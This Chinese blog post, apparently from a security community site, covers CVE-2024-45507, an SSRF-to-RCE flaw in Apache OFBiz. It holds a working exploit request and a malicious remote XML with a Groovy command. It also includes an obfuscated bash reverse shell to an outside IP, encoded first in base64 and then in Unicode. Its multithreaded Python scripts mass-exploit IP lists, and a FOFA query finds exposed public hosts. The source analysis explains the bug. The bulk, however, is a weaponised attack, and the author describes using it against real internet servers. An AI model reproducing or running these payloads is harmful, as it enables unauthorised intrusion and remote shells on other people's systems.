CVE-2024-45507漏洞利用实战:代码分析与自动化检测工具

该项目是一个开源的电子商务平台,提供创建基于最新的J2EE/XML规范和技术标准。各模块之间的功能比较松散,用户可以根据自己的需求进行拆卸整合,非常灵活。该漏洞属于Apache OFBiz中的服务器端请求伪造SSRF漏洞,目前升级到18.12.16版本即可修复该问题。

Apache OFBiz介绍

该项目是一个开源的电子商务平台,提供创建基于最新的J2EE/XML规范和技术标准。各模块之间的功能比较松散,用户可以根据自己的需求进行拆卸整合,非常灵活。

漏洞描述

该漏洞属于Apache OFBiz中的服务器端请求伪造SSRF漏洞,目前升级到18.12.16版本即可修复该问题。

漏洞影响范围

version < 18.12.16

源码下载

https://github.com/apache/ofbiz-framework/archive/refs/tags/release18.12.12.tar.gz

环境搭建

这里我是用Debian进行搭建,我们直接运行目录下的gradlew文件,如果是Windows系统就需要运行gradlew.bat

安装:

./gradle/init-gradle-wrapper.sh

./gradlew cleanAll loadAll

./gradlew cleanAll "ofbiz --load-data readers=seed,seed-initial" loadAdminUserLogin -PuserLoginId=admin

如果访问不了可以尝试添加可以访问的白名单

vim framework/security/config/security.properties

找到host-headers-allowed添加访问时的IP头

运行之前记得先加上执行权限

最后运行命令:

./gradlew ofbiz

之后出现这样的提示,我们就需要等大概几分钟,让他加载,直到提示

这样就可以了。

访问靶机的IP地址

财务登录:https://192.168.195.130:8443/accounting

管理员地址:https://localhost:8443/webtools

订单登录:https://localhost:8443/ordermgr

默认登录用户名密码:admin/ofbiz

漏洞利用

漏洞是通过ssrf方式进行入侵,也就是说我们需要通过对方服务器,对外发起请求,那么我们就需要在一台服务器上,架设一个XML文件,用以对方远程加载,同时XML文件中包含命令执行语句,以此来加载RCE操作。

复现测试

这里我配置之后,通过发送数据包

POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1
Host: 192.168.195.130:8443
Content-Length: 55
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
Origin: https://192.168.195.130:8443
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://192.168.195.130:8443/webtools/control/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive

statsDecoratorLocation=http://101.43.1.181:8000

这里编写一个测试的rce.xml,测试看看是否可以远程执行我的xml中的命令

<?xml version="1.0" encoding="UTF-8"?>
<screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"     
xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd">
<screen name="StatsDecorator">
        <section>
            <actions>
                <set value="${groovy:'curl 101.43.1.181:8888'.execute();}"/>
            </actions>
        </section>
    </screen>
</screens>

我这里首先在我服务器中开启python的远程下载服务,配置8000端口,提供xml进行远程执行,执行命令为访问我服务器的8888端口,同时我开始python远程8888端口来监测命令是否执行。

可以成功的访问并且执行。

Payload编写

payload编写这里,我使用python进行模拟发包

#!/usr/bin/env python3
import requests
import re
import urllib3
import concurrent.futures

# 忽略不安全的 HTTPS 请求警告
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# 读取 IP 地址
with open('ip.txt', 'r') as file:
    ips = file.read().splitlines()

url_template = "https://{ip}:8443/webtools/control/forgotPassword/StatsSinceStart"
headers = {
    "Content-Length": "55",
    "Cache-Control": "max-age=0",
    "Sec-Ch-Ua": '"Chromium";v="127", "Not)A;Brand";v="99"',
    "Sec-Ch-Ua-Mobile": "?0",
    "Sec-Ch-Ua-Platform": '"Windows"',
    "Accept-Language": "zh-CN",
    "Upgrade-Insecure-Requests": "1",
    "Content-Type": "application/x-www-form-urlencoded",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "Sec-Fetch-Site": "same-origin",
    "Sec-Fetch-Mode": "navigate",
    "Sec-Fetch-User": "?1",
    "Sec-Fetch-Dest": "document",
    "Accept-Encoding": "gzip, deflate, br",
    "Connection": "keep-alive"
}

data = {
    "statsDecoratorLocation": "http://101.43.1.181:8000/rce.xml"
}

# 正则表达式用于完全匹配特定字符串
pattern = re.compile(r"<!-- Begin Screen http://101\.43\.1\.181:8000/rce\.xml#StatsDecorator -->")

matched_ips = []

# 发送请求的函数
def send_request(ip):
    url = url_template.format(ip=ip)
    headers["Origin"] = f"https://{ip}:8443"
    headers["Referer"] = f"https://{ip}:8443/webtools/control/login"

    try:
        response = requests.post(url, headers=headers, data=data, verify=False)  # verify=False 禁用 SSL 验证

        # 检查回显包是否包含指定的完全匹配内容
        if pattern.search(response.text):
            print(f"Matched response from {ip}")
            return ip
        else:
            print(f"No match for {ip}")
            return None

    except requests.exceptions.RequestException as e:
        print(f"Error connecting to {ip}: {e}")
        return None

# 使用多线程执行请求,max_workers设置线程数量
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
    futures = [executor.submit(send_request, ip) for ip in ips]

    for future in concurrent.futures.as_completed(futures):
        result = future.result()
        if result:
            matched_ips.append(result)

# 将匹配的 IP 地址输出到 out.txt
if matched_ips:
    with open('out.txt', 'w') as outfile:
        outfile.write("\n".join(matched_ips))
    print("Matching IPs have been written to out.txt")
else:
    print("No IP returned a matching response.")

EXP编写

首先我们需要反弹shell的命令

bash -i >& /dev/tcp/101.43.1.181/9999 0>&1

然后将这个shell进行base64加密

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuMS4xODEvOTk5OSAwPiYx

再将这个base64加密后的放置在下面的代码中

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuMS4xODEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}

最后将上面的代码进行Unicode加密

\u0062\u0061\u0073\u0068\u0020\u002D\u0063\u0020\u007B\u0065\u0063\u0068\u006F\u002C\u0059\u006D\u0046\u007A\u0061\u0043\u0041\u0074\u0061\u0053\u0041\u002B\u004A\u0069\u0041\u0076\u005A\u0047\u0056\u0032\u004C\u0033\u0052\u006A\u0063\u0043\u0038\u0078\u004D\u0044\u0045\u0075\u004E\u0044\u004D\u0075\u004D\u0053\u0034\u0078\u004F\u0044\u0045\u0076\u004F\u0054\u006B\u0035\u004F\u0053\u0041\u0077\u0050\u0069\u0059\u0078\u007D\u007C\u007B\u0062\u0061\u0073\u0065\u0036\u0034\u002C\u002D\u0064\u007D\u007C\u007B\u0062\u0061\u0073\u0068\u002C\u002D\u0069\u007D

该漏洞目前已知情况是需要出网的,我们在攻击之前需要在攻击的主机上架设xml来远程加载执行。

<?xml version="1.0" encoding="UTF-8"?>
<screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"     
  xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd">
  <screen name="StatsDecorator">
    <section>
      <actions>
        <set value="${groovy:'\u0062\u0061\u0073\u0068\u0020\u002D\u0063\u0020\u007B\u0065\u0063\u0068\u006F\u002C\u0059\u006D\u0046\u007A\u0061\u0043\u0041\u0074\u0061\u0053\u0041\u002B\u004A\u0069\u0041\u0076\u005A\u0047\u0056\u0032\u004C\u0033\u0052\u006A\u0063\u0043\u0038\u0078\u004D\u0044\u0045\u0075\u004E\u0044\u004D\u0075\u004D\u0053\u0034\u0078\u004F\u0044\u0045\u0076\u004F\u0054\u006B\u0035\u004F\u0053\u0041\u0077\u0050\u0069\u0059\u0078\u007D\u007C\u007B\u0062\u0061\u0073\u0065\u0036\u0034\u002C\u002D\u0064\u007D\u007C\u007B\u0062\u0061\u0073\u0068\u002C\u002D\u0069\u007D'.execute();}"/>
      </actions>
    </section>
  </screen>
</screens>

源码分析

大致漏洞情况分析

参考网上的漏洞分析,该漏洞主要是两个方面引发的问题,首先是可以引入外部远程文件来渲染screen

根据xml的配置文件,我们编写payload格式就基于下面的配置文件格式

groovy是用于设置加载字段的值,但是我们也可以在后面构造命令可以使其命令执行。这样就可以编写我们的payload。

分析一下漏洞产生的第二个原因

从网上资料来看,该漏洞另一个原因在于eventReturn,只要这个里判断为true,即可调用findTemporalExpression

那么我们理解一下这里,反推一下,我们想要findTemporalExpression能被调用,就要查看哪些路由可以直接调用,也就是返回true。

经过测试,两个目录下可以返回true

/webtools/control/main/findTemporalExpression

/webtools/control/forgotPassword/findTemporalExpression

也就是说,在这两个路由下,均可以在未授权的情况下处理findTemporalExpression(也就是xml配置文件中的screen名)。

而findTemporalExpression中的参数又可以调用外部的xml执行

那么再往上看,其实我们就只需要进行一点, 那就是看看哪些路由可以在未授权的情况下去调用findTemporalExpression。

分析renderView方法

该方法的上层逻辑,首先是上面登录路由判断的方法中,会判断你登陆的一个状态,返回的三种不同的值:success、requirePasswordChange、error,然后eventReturn会根据上面三种不同值进行判断,来确定renderView函数传递什么内容。

那么renderView又实现哪些功能呢。首先是renderView值在controller.xml获取xml配置,然后从xml配置文件中会指向TempExprScreens.xml这个配置文件,那么TempExprScreens.xml这个配置文件,其中涉及到findTemporalExpression的值中就包含了tempExprDecoratorLocation这个参数,类似于payload中statsDecoratorLocation参数,都可以从外部引入xml。

为什么使用statsDecoratorLocation作为payload

这里我们定位到参数的位置,可以看到参数属于webtools/widget

该参数再文件中主要用于动态指定装饰器模板,也就是说,再我们引用他,该参数可以执行一个外部的装饰器模板文件,该文件可以决定界面的元素,比如页面结构,样式或者布局。

那么我们通过模仿他内部装饰器的编写方式,可以写出payload。

${parameters.statsDecoratorLocation} 在正常情况下可以让页面在同一个页面中复用不同的装饰器模板。

分析流程总结

首先SSRF漏洞的原因,就是因为客户端对用户输入的参数未进行严格校验,也就是说我们的statsDecoratorLocation参数,从外部引入模板,在findTemporalExpression,forgotPassword两个路由下,可以通过校验,eventReturn返回true即可通过校验,可以在这两个路由下,构造statsDecoratorLocation参数(或者其他可利用参数),远程调用xml文件。主要代码流程如下:

1、首先了解了login路由登陆后的三种不同登录状态判断方法

2、eventReturn参数会根据登录状态不同传递给renderView函数具体的内容

3、如果eventReturn判断为true,那么就可以通过renderView进行调用xml配置文件

4、成功调用配置文件后,会调用到配置文件中的findTemporalExpression,这其中的参数 ${parameters.statsDecoratorLocation} 可以调用外部的xml来渲染。

5、最后测试出哪些路由可以在未授权的情况下,eventReturn会判断正确,那么这些路由就可以进行远程xml的调用。

公网实战漏洞寻找

Fofa语句

"Apache OFBiz" && port="8443" && country="CN"

漏洞批量利用

这里我下载一些下来,保存为txt文件

使用上面写的payload可以进行批量获取。

使用方式,首先需要在一台公网服务器上开启一个类似dnslog用于接收回显的服务端,我这里使用的是服务器中python的http server

所以我构造的逻辑是

1、首先我们需要忽略掉不安全的https警告,不然无法访问

2、从txt中读取IP地址,替换掉payload数据包中的IP

3、正则匹配回显值

4、遍历所有IP并且发送请求,检查回显是否存在正则匹配的内容,返回是否匹配

5、最后将匹配的结果输出到out.txt中

#!/usr/bin/env python3
# -*- coding: cp936 -*-
import requests
import re
import urllib3

# 忽略不安全的 HTTPS 请求警告
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# 读取 IP 地址
with open('ip.txt', 'r') as file:
    ips = file.read().splitlines()

url_template = "https://{ip}:8443/webtools/control/forgotPassword/StatsSinceStart"
headers = {
    "Content-Length": "55",
    "Cache-Control": "max-age=0",
    "Sec-Ch-Ua": '"Chromium";v="127", "Not)A;Brand";v="99"',
    "Sec-Ch-Ua-Mobile": "?0",
    "Sec-Ch-Ua-Platform": '"Windows"',
    "Accept-Language": "zh-CN",
    "Upgrade-Insecure-Requests": "1",
    "Content-Type": "application/x-www-form-urlencoded",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "Sec-Fetch-Site": "same-origin",
    "Sec-Fetch-Mode": "navigate",
    "Sec-Fetch-User": "?1",
    "Sec-Fetch-Dest": "document",
    "Accept-Encoding": "gzip, deflate, br",
    "Connection": "keep-alive"
}

data = {
    "statsDecoratorLocation": "http://101.43.1.181:8000/rce.xml"
}

# 正则表达式用于完全匹配特定字符串
pattern = re.compile(r"<!-- Begin Screen http://101\.43\.1\.181:8000/rce\.xml#StatsDecorator -->")

matched_ips = []

# 遍历所有 IP 并发送请求
for ip in ips:
    url = url_template.format(ip=ip)
    headers["Origin"] = f"https://{ip}:8443"
    headers["Referer"] = f"https://{ip}:8443/webtools/control/login"

    try:
        response = requests.post(url, headers=headers, data=data, verify=False)  # verify=False 禁用 SSL 验证

        # 检查回显包是否包含指定的完全匹配内容
        if pattern.search(response.text):
            print(f"匹配参数IP:{ip}")
            matched_ips.append(ip)
        else:
            print(f"不匹配IP:{ip}")

    except requests.exceptions.RequestException as e:
        print(f"错误IP,连接不通{ip}: {e}")

# 将匹配的 IP 地址输出到 out.txt
if matched_ips:
    with open('out.txt', 'w') as outfile:
        outfile.write("\n".join(matched_ips))
    print("漏洞IP已保存至out.txt")
else:
    print("没有含有漏洞的IP地址")

  • 发表于 2025-02-10 10:00:01
  • 阅读 ( 28531 )
  • 分类:漏洞分析

0 条评论

请先 登录 后评论
白安全组
白安全组

1 篇文章

站长统计